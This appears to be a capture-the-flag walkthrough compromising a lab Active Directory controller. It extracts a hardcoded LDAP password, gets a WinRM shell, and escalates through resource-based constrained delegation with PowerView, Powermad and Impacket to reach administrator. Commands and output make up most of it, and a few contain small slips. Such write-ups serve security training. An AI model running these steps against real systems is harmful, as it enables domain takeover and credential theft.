Machine Info Card

Enumeration

Nmap

We start by running an nmap scan on the most common 1000 ports using the flag -sV to perform a service/version scan, the -sC flag to perform a script scan using the default set of scripts, and the -Pn flag to skip host discovery:

$ nmap -sV -sC -Pn 10.129.150.214
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-06 11:32 EST
Nmap scan report for 10.129.150.214
Host is up (0.039s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-12-06 16:33:09Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-12-06T16:33:15
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.74 seconds

Shares

We use smbclient to enumerate SMB shares. The -L flag tells the tool to retrieve a list of all the available shares on the remote host. Additionally, the -N flag will prevent any password prompts from appearing:

$ smbclient -N -L \\10.129.150.214     

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.150.214 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
$ smbclient \\\\10.129.150.214\\NETLOGON
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit

$ smbclient \\\\10.129.150.214\\SYSVOL
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_ACCESS_DENIED listing \*
smb: \> exit

$ smbclient \\\\10.129.150.214\\support-tools
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 957524 blocks available

We were able to connect to the support-tools share and download UserInfo.exe.zip to check its content:

smb: \> get UserInfo.exe.zip
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (821.2 KiloBytes/sec) (average 821.2 KiloBytes/sec)

Executable Analysis

$ unzip UserInfo.exe.zip 
Archive:  UserInfo.exe.zip
  inflating: UserInfo.exe            
  inflating: CommandLineParser.dll   
  inflating: Microsoft.Bcl.AsyncInterfaces.dll  
  inflating: Microsoft.Extensions.DependencyInjection.Abstractions.dll  
  inflating: Microsoft.Extensions.DependencyInjection.dll  
  inflating: Microsoft.Extensions.Logging.Abstractions.dll  
  inflating: System.Buffers.dll      
  inflating: System.Memory.dll       
  inflating: System.Numerics.Vectors.dll  
  inflating: System.Runtime.CompilerServices.Unsafe.dll  
  inflating: System.Threading.Tasks.Extensions.dll  
  inflating: UserInfo.exe.config
$ file UserInfo.exe
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows

The archive contains DLLs and a .Net executable. Being on a Linux system we use wine to run it:

$ wine UserInfo.exe                

Usage: UserInfo.exe [options] [commands]

Options:
  -v|--verbose        Verbose output

Commands:
  find                Find a user
  user                Get information about a user

With the assistance of the tool’s usage help menu, we are able to comprehend the proper usage of the tool:

$ wine UserInfo.exe -v user admin    
Unable to parse command 'user' reason: Required option '-username' not found!



Usage: UserInfo.exe [options] [commands]

Options:
  -v|--verbose        Verbose output

Commands:
  find                Find a user
  user                Get information about a user

$ wine UserInfo.exe -v user -username admin
[*] Getting data for admin
[-] Exception: Connect Error
$ wine UserInfo.exe -v find admin         
[-] At least one of -first or -last is required.

$ wine UserInfo.exe -v find -first admin
[*] LDAP query to use: (givenName=admin)
[-] Exception: Connect Error
                                                                                                                            
$ wine UserInfo.exe -v find -last admin 
[*] LDAP query to use: (sn=admin)
[-] Exception: Connect Error

UserInfo.exe seems to try to connect to a remote LDAP server to fetch information.

LDAP

LDAP (The Lightweight Directory Access Protocol) is a widely accepted protocol that is built on top of the TCP/IP protocol. It enables clients to carry out several operations on a directory server, like storing, retrieving and searching data based on certain conditions, authenticating clients and more. Typically, port 389 is used for unencrypted communication, while port 636 is utilized for LDAP over a TLS-encrypted channel.

As per the results of our nmap scan, we have identified that there is a running LDAP server on port 389.

In order to acquire a deeper understanding, we proceed with the analysis by decompiling the executable with the open source .NET Decompiler ILSpy.

ILSpy

Opening the executable with ILSpy and looking at the code, we find an LDAP login username and an encrypted password with the algorithm to decrypt it:

internal class LdapQuery
{
<SNIP>
		string password = Protected.getPassword();
		entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
		entry.set_AuthenticationType((AuthenticationTypes)1);
		ds = new DirectorySearcher(entry);
	}
<SNIP>
<SNIP>
internal class Protected
{
	private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

	private static byte[] key = Encoding.ASCII.GetBytes("armando");

	public static string getPassword()
	{
		byte[] array = Convert.FromBase64String(enc_password);
		byte[] array2 = array;
		for (int i = 0; i < array.Length; i++)
		{
			array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
		}
		return Encoding.Default.GetString(array2);
	}
}

We add support.htb to our /etc/hosts file:

$ echo -e "10.129.150.214\tsupport.htb" |  sudo tee -a /etc/hosts
10.129.150.214  support.htb

Now, to decrypt the password, we can either rewrite the getPassword() function logic ourselves, or, since LDAP traffic on port 389 is unencrypted, we can sniff the network to steal the unencrypted password.

Wireshark

Starting a packet capture with Wireshark on our tunnel interface, running UserInfo.exe and following the TCP stream on any captured packet we get the password for the user support\ldap.

$ wine UserInfo.exe -v find -first bob
[*] LDAP query to use: (givenName=bob)
[-] Exception: No Such Object

With the executable running, Wireshark was able to capture the username support\ldap and the password nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz0 used for authentication:

0<...`7.....support\ldap.$nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz0........a.....
......0;...c6..
..
...............	givenName..bob0...sAMAccountName0....h...e...._
. ...X0000208D: NameErr: DSID-03100221, problem 2001 (NO_OBJECT), data 0, best match of:
	''
.

ldapsearch

We now enumerate domain users using ldapsearch. We login using simple authentication instead of SASL (-x), passing the LDAP server and password we sniffed, and using Users, support and htb as the Common Name and Domain Components after the -b flag to customize the starting point for the search:

$ ldapsearch -x -H ldap://support.htb -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb"
<SNIP>
# support, Users, support.htb
<SNIP>
info: Ironside47pleasure40Watchful
<SNIP>

Under the user support (member of the Remote Management Users group) we notice what might be a password in the non default tag info: Ironside47pleasure40Watchful.

Getting a Shell

Evil-WinRM

WinRM (Windows Remote Management) is is a Windows-native built-in remote management protocol that allows users to:

  • Remotely communicate and interface with hosts.
  • Execute commands remotely on systems that are not local to you but are network accessible.
  • Monitor, manage and configure servers, operating systems and client machines from a remote location.

From a penetration testing perspective, if we are able to acquire valid credentials for a user with remote management permissions, we have the potential to gain access to a PowerShell shell on the targeted host.

To connect to the WinRM service we can use Evil-WinRM, a WinRM shell that contains features focusing on pentesting. We just need to pass the target host IP and the credentials support:Ironside47pleasure40Watchful like this:

$ evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                                                                                                 

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\support\Documents> whoami
support\support 

We got a shell. Now it’s time to look for the user flag.

User Flag

We find the user flag in the Desktop directory:

*Evil-WinRM* PS C:\Users\support> ls -recurse .


    Directory: C:\Users\support


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-r---         5/28/2022   4:17 AM                Desktop
d-r---         5/28/2022   4:16 AM                Documents
d-r---          5/8/2021   1:15 AM                Downloads
d-r---          5/8/2021   1:15 AM                Favorites
d-r---          5/8/2021   1:15 AM                Links
d-r---          5/8/2021   1:15 AM                Music
d-r---          5/8/2021   1:15 AM                Pictures
d-----          5/8/2021   1:15 AM                Saved Games
d-r---          5/8/2021   1:15 AM                Videos


    Directory: C:\Users\support\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---        12/10/2022   5:03 AM             34 user.txt

*Evil-WinRM* PS C:\Users\support> cat Desktop/user.txt
fb8****************725

Privilege Escalation

Reference: Kerberos Resource-based Constrained Delegation: Computer Object Takeover

Following the reference, we will perform a resource-based constrained delegation attack.

We start by downloading PowerView.ps1 and Powermad.ps1:

$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
--2022-12-10 16:29:58--  https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: ‘PowerView.ps1.1’

PowerView.ps1.1                100%[====================================================>] 752.23K  --.-KB/s    in 0.1s    

2022-12-10 16:29:58 (7.07 MB/s) - ‘PowerView.ps1.1’ saved [770279/770279]

$ wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1          
--2022-12-10 16:31:11--  https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 135586 (132K) [text/plain]
Saving to: ‘Powermad.ps1.1’

Powermad.ps1.1                 100%[====================================================>] 132.41K  --.-KB/s    in 0.03s   

2022-12-10 16:31:11 (3.75 MB/s) - ‘Powermad.ps1.1’ saved [135586/135586]

We then upload the scripts and import them as modules:

*Evil-WinRM* PS C:\Users\support> upload /home/kali/serve/PowerView.ps1
Info: Uploading /home/kali/serve/PowerView.ps1 to C:\Users\support\PowerView.ps1

                                                             
Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\support> upload /home/kali/serve/Powermad.ps1
Info: Uploading /home/kali/serve/Powermad.ps1 to C:\Users\support\Powermad.ps1

                                                             
Data: 180780 bytes of 180780 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\support> Import-Module ./PowerView.ps1
*Evil-WinRM* PS C:\Users\support> Import-Module ./Powermand.ps1

As support we can create up to 10 computers accounts in the domain:

*Evil-WinRM* PS C:\Users\support> Get-DomainObject -Identity "dc=support,dc=htb" -Domain support.htb | findstr machineaccountquota
ms-ds-machineaccountquota                   : 10

This allow us to create a new computer object which we need for the attack.

We also need the target to run at least Windows 2012.

The target machine is running Windows Server 2022:

*Evil-WinRM* PS C:\Users\support> Get-DomainController


Forest                     : support.htb
CurrentTime                : 12/10/2022 9:40:00 PM
HighestCommittedUsn        : 86163
OSVersion                  : Windows Server 2022 Standard
Roles                      : {SchemaRole, NamingRole, PdcRole, RidRole...}
Domain                     : support.htb
IPAddress                  : ::1
SiteName                   : Default-First-Site-Name
SyncFromAllServersCallback :
InboundConnections         : {}
OutboundConnections        : {}
Name                       : dc.support.htb
Partitions                 : {DC=support,DC=htb, CN=Configuration,DC=support,DC=htb, CN=Schema,CN=Configuration,DC=support,DC=htb, DC=DomainDnsZones,DC=support,DC=htb...}

Lastly, we need to assure that the target computer does not have the attribute msds-allowedtoactonbehalfofotheridentity set:

*Evil-WinRM* PS C:\Users\support> hostname
dc

*Evil-WinRM* PS C:\Users\support> Get-NetComputer dc | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity

name msds-allowedtoactonbehalfofotheridentity
---- ----------------------------------------
DC

Now we create a new computer object and get its SID:

*Evil-WinRM* PS C:\Users\support> New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'qwerty' -AsPlainText -Force) -Verbose
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = EVIL$
Verbose: [+] Distinguished Name = CN=EVIL,CN=Computers,DC=support,DC=htb
[+] Machine account EVIL added

*Evil-WinRM* PS C:\Users\support> Get-DomainComputer evil -Properties objectsid

objectsid
---------
S-1-5-21-1677581083-3380853377-188903654-5601

and a new raw security descriptor for the evil computer account:

*Evil-WinRM* PS C:\Users\support> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1677581083-3380853377-188903654-5601)"

*Evil-WinRM* PS C:\Users\support> $SDBytes = New-Object byte[] ($SD.BinaryLength)

*Evil-WinRM* PS C:\Users\support> $SD.GetBinaryForm($SDBytes, 0)

*Evil-WinRM* PS C:\Users\support> Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Extracted domain 'support.htb' from 'CN=DC,OU=Domain Controllers,DC=support,DC=htb'
Verbose: [Get-DomainSearcher] search base: LDAP://DC=support,DC=htb
Verbose: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=DC,OU=Domain Controllers,DC=support,DC=htb)))
Verbose: [Set-DomainObject] Setting 'msds-allowedtoactonbehalfofotheridentity' to '1 0 4 128 20 0 0 0 0 0 0 0 0 0 0 0 36 0 0 0 1 2 0 0 0 0 0 5 32 0 0 0 32 2 0 0 2 0 44 0 1 0 0 0 0 0 36 0 255 1 15 0 1 5 0 0 0 0 0 5 21 0 0 0 27 219 253 99 129 186 131 201 230 112 66 11 225 21 0 0' for object 'DC$'

Impersonation

We add dc.support.htb to our /etc/hosts file:

$ echo -e "10.129.150.214\tdc.support.htb" |  sudo tee -a /etc/hosts
10.129.150.214  dc.support.htb

We first get a Service Ticket and save it as ccache using impacket-getST (script part of Impacket):

$ impacket-getST support.htb/evil:qwerty -dc-ip support.htb -impersonate administrator -spn www/dc.support.htb
Impacket - Copyright 2021 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in administrator.ccache

and then we get the an Administrator shell by using the Kerberos ticket specified by the KRB5CCNAME environment variable:

$ export KRB5CCNAME=administrator.ccache
$ impacket-wmiexec support.htb/administrator@dc.support.htb -no-pass -k
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
support\administrator

Now we can finally get the root flag.

Root Flag

We find the root flag in the Desktop directory:

C:\>cd Users/Administrator/Desktop
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 955A-5CBB

 Directory of C:\Users\Administrator\Desktop

05/28/2022  03:17 AM    <DIR>          .
05/28/2022  03:11 AM    <DIR>          ..
12/10/2022  05:03 AM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,943,088,128 bytes free

C:\Users\Administrator\Desktop>type root.txt
be8****************a4bc